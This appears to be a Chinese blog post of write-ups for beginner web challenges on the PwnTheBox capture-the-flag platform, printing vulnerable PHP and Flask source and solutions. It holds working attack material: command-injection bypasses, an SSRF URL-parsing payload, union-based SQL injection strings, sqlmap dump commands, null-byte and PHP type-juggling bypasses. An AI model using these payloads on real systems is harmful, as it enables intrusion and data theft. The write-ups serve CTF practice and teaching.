PwnTheBox

PwnTheBox,第1张

PwnTheBox(web篇)简单题

文章结构生成

# //*[@id="app"]/div/section/main/div[1]/div/div[6]/div/div/div/p/@title
#  xpath提取 ... 生成....
str = '''
exec1
hackergame2019-签到题
网页读取器
管理员本地访问
下载下载
快速计算
...
'''

for i in str.strip().split("\n"):
    print("### "+i)
    print("#### 题目")
    print("```php"+"\n\n"+"```")
    print()
    print("#### 题解")
    print("```"+"\n\n"+"```")
    print()
第一页 exec1 题目


	// Get input

	$target = $_REQUEST[ 'ip' ];
    // var_dump($target);
	$target=trim($target);
	// var_dump($target);
	// Set blacklist
	$substitutions = array(
		'&'  => '',
		';' => '',
		'|' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
		'||' => '',
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    

	// var_dump($target);

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 1 ' . $target );
	}

	// Feedback for the end user
	echo  "
{$cmd}
"
; ?>
题解

很多东西都被ban了,%0a绕就行

hackergame2019-签到题 题目

题解

右键查看源代码,删除button的disable属性,然后随便输入一个token即可得到flag

网页读取器 题目
from flask import Flask, render_template, request, send_from_directory
import requests  # well, requests is designed for humans, and I like it.


app = Flask(__name__)
whitelist_hostname = ["example.com",
                     "www.example.com"]
whitelist_scheme = ["http://"]


def check_hostname(url):
    for i in whitelist_scheme:
        if url.startswith(i):
            url = url[len(i):]  # strip scheme
            url = url[url.find("@") + 1:]  # strip userinfo
            if not url.find("/") == -1:
                url = url[:url.find("/")]  # strip parts after authority
            if not url.find(":") == -1:
                url = url[:url.find(":")]  # strip port
            if url not in whitelist_hostname:
                return (False, "hostname {} not in whitelist".format(url))
            return (True, "ok")
    return (False, "scheme not in whitelist, only {} allowed".format(whitelist_scheme))


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/request")
def req_route():
    url = request.args.get('url')
    status, msg = check_hostname(url)
    if status is False:
        # print(msg)
        return msg
    try:
        r = requests.get(url, timeout=2)
        if not r.status_code == 200:
            return "We tried accessing your url, but it does not return HTTP 200. Instead, it returns {}.".format(r.status_code)
        return r.text
    except requests.Timeout:
        return "We tried our best, but it just timeout."
    except requests.RequestException:
        return "While accessing your url, an exception occurred. There may be a problem with your url."


@app.route("/source")
def get_source():
    return send_from_directory("/static/", "app.py", as_attachment=True)


if __name__ == '__main__':
    app.run("0.0.0.0", 8080, debug=False)

题解

根据截取规则,已知我们要访问的flag位置为http://127.0.0.1/flag,利用URL中“#”的截断作用,构造payload如下:

http://127.0.0.1/flag#@example.com
管理员本地访问 题目

题解

X-Forwarded-For 是一个 HTTP 扩展头部,用来表示 HTTP 请求端真实 IP

X-Forwarded-For: 127.0.0.1

下载下载 题目

直接点击把flag.txt下载下来了,但是打开后提示flag不在这,然后我们查看页面源代码,发现是通过get传参的方式指定文件名进行下载的


header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
	$key = md5 ( $key );
	$x = 0;
	$len = strlen ( $data );
	$l = strlen ( $key );
	for($i = 0; $i < $len; $i ++) {
		if ($x == $l) {
			$x = 0;
		}
		$char .= $key {$x};
		$x ++;
	}
	for($i = 0; $i < $len; $i ++) {
		$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
	}
	return base64_encode ( $str );
}

function decrypt($data, $key) {
	$key = md5 ( $key );
	$x = 0;
	$data = base64_decode ( $data );
	$len = strlen ( $data );
	$l = strlen ( $key );
	for($i = 0; $i < $len; $i ++) {
		if ($x == $l) {
			$x = 0;
		}
		$char .= substr ( $key, $x, 1 );
		$x ++;
	}
	for($i = 0; $i < $len; $i ++) {
		if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
			$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
		} else {
			$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
		}
	}
	return $str;
}

$key="Pwnthebox";
$flag="g9yk1pqdmqHa3qTJlqTFZbmShKmjaMHKzpJprg==";//encrypt($flag,$key)

?>
题解

我们直接 ?file=flag.php得到flag文件,打开后发现定义了两个函数 encrypt和 decrypt

很明显第一个是加密,第二个是解密,我们直接在最后一行加上如下代码运行后即可得到flag

echo decrypt($flag,$key);
快速计算 题目

题解

一般情况下手是看不过机的,所以这种题一般脚本

import requests
from lxml import etree
url = "https://1360-b5446787-41a6-48f1-a0e5-82beaeb63eaa.do-not-trust.hacking.run/"


s = requests.Session()
r = s.get(url)
data = r.content.decode()
html = etree.HTML(data)


str = html.xpath("//p/text()")[1]


payload = {'result': eval(str), 'submit': '提交'}
r = s.post(url, data=payload)
print(r.text)
该网站已经被黑 题目

题解

先用dirsearch进行目录扫描,扫出/shell.php是登录界面
然后burp爆破密码为hack,登录得到flag

PwnTheBox 题目

题解

百度网盘分享链接 题目

题解

Get 题目
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
题解
https://1360-76609712-bedd-4cb3-87e1-2a6d037875f6.do-not-trust.hacking.run/?what=flag
Post 题目
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
题解

睿智题目 题目

题解

查看源码分析发现每次产生一个随机图片,可用bp爆破分析

过滤下PTB可找到

一道很奇怪的题目 题目

题解

直接ctrl+u 看源码


奇葩的题目 题目

题解

很明显是url编码,我们把所有的字符串按顺序组合起来

p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62'
p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b'
#eval(unescape(p1) + unescape('%35%34%61%61%32' + p2))
print(p1+"%35%34%61%61%32"+p2)

经过url解码后得到

验证码 题目

题解

发现有maxlength元素,更改元素限制尝试输入结果

XSS 题目
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { echo '
' . $_GET[ 'name' ] . '
'; }
题解
https://1360-c9fc2d6d-8d4e-461d-8e19-cbd85a1205db.do-not-trust.hacking.run/?name=1
达拉崩吧大冒险 题目

题解

料理大市场出,买鸡的地方存在整数溢出。
当值小于 等于-1900000000000000000 时,就会发生整数溢出,战斗力变成一个很大的值,就可以愉快的打龙,得到flag。


atchap 题目

题解

atchap邮件服务漏洞

a@a.a@Samira.Bien@almosttchap.fr
php是世界上最好的语言 题目
 
show_source(__FILE__);
@include_once 'flag.php';
//前端攻城狮跑路了,不过PHP是最好的语言
    $a = $_GET['a'];
    $b = $_GET['b'];
    $good = false;
    if (sha1($a)===sha1($b)) {   //可以使用数组绕过sha1检测
        $good = true;
    }
    else die('bypass');
    if ($good && isset($_GET['key'])){   //判断good变量的值和key的值是否存在
        $message = json_decode($_GET['key']);  //对传入的key值进行json 解码
        if ($message->key==$key) {   //判断key变量中key键的值是否和key变量的值一样 
            echo $flag;//因为php是弱类型语言,所以数字和字符串进行比较时,字符串会转成数字
        }    //如果字符串的第一位不是数字,则字符串被转成0,所以可用0绕过
        else die('还差一点就拿到flag了');
    }

?>
题解
https://1360-54d93af6-edd9-47b1-a581-e0eee4f83548.do-not-trust.hacking.run/?a[]=1&b[]=1&key={%22key%22:0}
exec2 题目
 

$ip = isset($_POST['ip'])?$_POST['ip']:die();

if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){  //结尾字符没有限制
    die("ip 格式错误!");
}

echo strlen($ip);

if(strlen($ip)<7||strlen($ip)>21){  // 长度限制
    die("ip 长度错误!");
}

	// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		
	$cmd = shell_exec( 'ping  ' .$ip ); //执行命令
}else {
		// *nix
		$cmd = shell_exec( 'ping  -c 1 ' .$ip );
}

	// Feedback for the end user
echo  "
{$cmd}
"
; ## 要求,利用命令执行getshell
题解

可直接访问

https://1360-abf7e306-27d8-4bb8-b130-ca1f03d1cf88.do-not-trust.hacking.run/pwnthebox.txt

* 通配符

第二页 Twice SQL Injection 题目

题解

二次注入

注册时输入注入语句,登录后即可发现结果

// 判断显示位置
'union select 12345 #

//判断数据库
'union select database() #

//根据数据库爆出表名
'union select table_name from information_schema.tables where table_schema='ctftraining'#

//爆出列名
'union select group_concat(column_name) from information_schema.columns where table_name='flag'#

//得到flag
'union select flag from flag#
猫咪银行 题目

题解

整型溢出:调整买入时间,时间数调至9123372036854775888,得到时间为负数,而收益为正数。

黑曜石浏览器 题目
请使用最新版黑曜石浏览器(HEICORE)打开
题解
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) HEICORE/49.1.2623.213 Safari/537.36

信息安全 2077 题目
2077 年很快到来了。此时正值祖国 128 周年华诞,中国科学技术大学也因其王牌专业信息安全,走出国门,成为了世界一流大学。作为向信息安全专业输送人才的重要渠道,第 64 届信息安全大赛也正在如火如荼地开展着。
千里之行,始于足下。作为一名渴望进入信息安全专业的学生,你的第一个任务是拿到第 64 届信息安全大赛的签到题的 flag。我们已经为你找到了签到题的入口[1],你只需要把 flag.txt 的内容读出来就可以了。
注:为了照顾到使用黑曜石浏览器的用户,第 64 届信息安全大赛的签到题决定沿袭之前 63 届信息安全大赛的惯例,仍然基于 HTTP 1.x。当然了,使用其他浏览器也是可以顺利完成任务的。

<script src="/jquery.min.js"></script>
<script>
myclick = () => {
    $.ajax({
        type: "POST",
        url: '/flag.txt',
        success: (d, textStatus, xhr) => {
			$("#flag").text(e)
        },
		error: e =>{
			$("#flag").text(` ${e.status} - ${e.statusText}`)
		}
    });
}
</script>

题解

在返回头中会看到Last-Modified这个东西

要满足来自2077这个条件
故将请求头加入

If-Unmodified-Since: Mon, 22 Oct 2077 00:00:00 GMT

flag在这里 题目

题解

burpsuite 重发 ,base64

对方不想和你说话,并向你扔了一段代码 题目

题解

php中extract()函数存在变量覆盖漏洞,所以讲url后面加上 /?a=&b=, a 和 a和 ab变量内容为空字符串造成两个的值相等,或者直接就 /?a=

https://1360-89240aa5-af3d-416c-91d1-dee880d6c6bd.do-not-trust.hacking.run/?a=
猜密码 题目
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
	if ($_POST['pwd'] == $_SESSION['pwd'])
		die('Flag:'.$flag);
	else{
		print '

猜测错误.

'
; $_SESSION['pwd']=time().time(); } }
题解

这个第一次打开环境时什么都不输入.直接点猜密码就是flag

或者cookie 置0 pwd 为空

你给我一个满意的数字,我就给你flag! 题目


header ( 'Content-Type: text/html; charset=utf-8' ); // 缃戦〉缂栫爜
error_reporting ( 0 );
$flag = "*******************";
//echo $_POST['num'];
if (isset ( $_POST ['num'] )) {  //检测POST传入的参数必须是纯在
	if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE)  //传入的POST必须为包括数字(1-9)组成的数字
		echo '璇村ソ鐨勬暟瀛楀憿锛�';
	else if (strpos ( $_POST['num'], '#testaasafd' ) !== FALSE) //检测num中的#testaasafd必须返回true
		die ( 'Flag: ' . $flag );
	else
		echo '浣犵殑鏁板瓧涓嶅お绗﹀悎鎴戠殑蹇冩剰鍝︼紒';
}
?>
题解

%00 截断

ereg 题目
 
$flag = "flag{flag}";
if (isset ($_GET['password'])) 
{
  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  // 正则匹配只能是字母和数字
  {
    echo '

You password must be alphanumeric

'
; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) // 采用科学计数法1e8 { if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos查找字符串首次出现的位置 { // %00 截断 die('Flag: ' . $flag); } else { echo('

*-* have not been found

'
); } } else { echo '

Invalid password

'
; } } ?>
题解
https://1360-5a0af361-24fa-434a-be20-e4679f83f154.do-not-trust.hacking.run/?password=1e8%00*-*
成绩单 题目

题解
sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch  --dbs
sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch -D skctf --tables
sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch -D skctf -T  fl4g --columns      
sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch -D skctf -T fl4g -C skctf_flag --dump
1' and 1=1 #

-1'  union select 1,2,3,4 #

-1'  union select 1,2,3,database() #

-1'  union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #

-1'  union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' and table_schema=database() #

-1'  union select 1,2,3,skctf_flag from  fl4g #
login 1 题目

题解

提示要用admin访问,注册覆盖admin账号即可

变量 题目
flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){   //传入的参数必须是纯在
    $args = $_GET['args'];    
    if(!preg_match("/^\w+$/",$args)){   //是否匹配只有字符
        die("args error!");
    }   //flag在变量中 ,输出全局变量
    eval("var_dump($$args);");  //$GLOBALS 是全局变量
}
?>
题解
https://1360-939a7b7c-d68b-4194-8979-21f1f8396470.do-not-trust.hacking.run/?args=GLOBALS
Jsfuck 题目

题解

将div盒子里面的字符拼接起来,在控制台进行解密。

from lxml import etree
import requests

url = "https://1360-771b8dbf-30e8-47f6-9d5a-72865aca8b82.do-not-trust.hacking.run/"

r = requests.get(url)
data = r.content.decode()
html = etree.HTML(data)

print(*[i for i in html.xpath("/html/body/div/text()")])


得出一段加密的字符串,注释提示KEY是PTB

U2FsdGVkX1 是AES或DES 开头

U2FsdGVkX1899E6MQwC1kQYmnBL4RjhRIjwvuYJzszAmWhWcU8B9nHVMiM9YW7Ww

这里是AES解密,得出flag

矛盾 题目

题解

代码审计 题目

题解

管理员系统 题目

题解

ezdotso 题目

题解

赛博厨房 - 1 题目

题解

赛博厨房 - 2 题目

题解

Wall Breaker 题目

题解

佛系更新中…

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/737389.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-28
下一篇 2022-04-28

发表评论

登录后才能评论

评论列表(0条)

保存